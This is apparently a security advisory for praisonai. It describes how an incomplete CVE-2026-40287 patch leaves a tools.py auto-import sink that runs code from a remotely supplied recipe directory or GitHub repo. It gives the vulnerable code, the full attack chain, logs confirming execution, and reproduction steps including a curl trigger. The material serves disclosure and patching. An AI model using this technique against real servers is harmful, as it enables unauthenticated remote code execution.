GHSA-xcmw-grxf-wjhj

## TL;DR

CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.

## Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same |

But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:

```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ```

`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

## Attack chain

``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ```

The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.

## Confirmed execution (2026-04-25, praisonai 4.6.31)

``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ```

The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.

## Reproduction (local-path variant)

Files under `pocs/praisonai-cve-2026-40287-bypass/`:

- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`

```bash pip install 'praisonai[serve]==4.6.31'

# Terminal 1 python server.py

# Terminal 2 python exploit.py ```

Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

## Reproduction (remote GitHub variant)

```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ```

No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.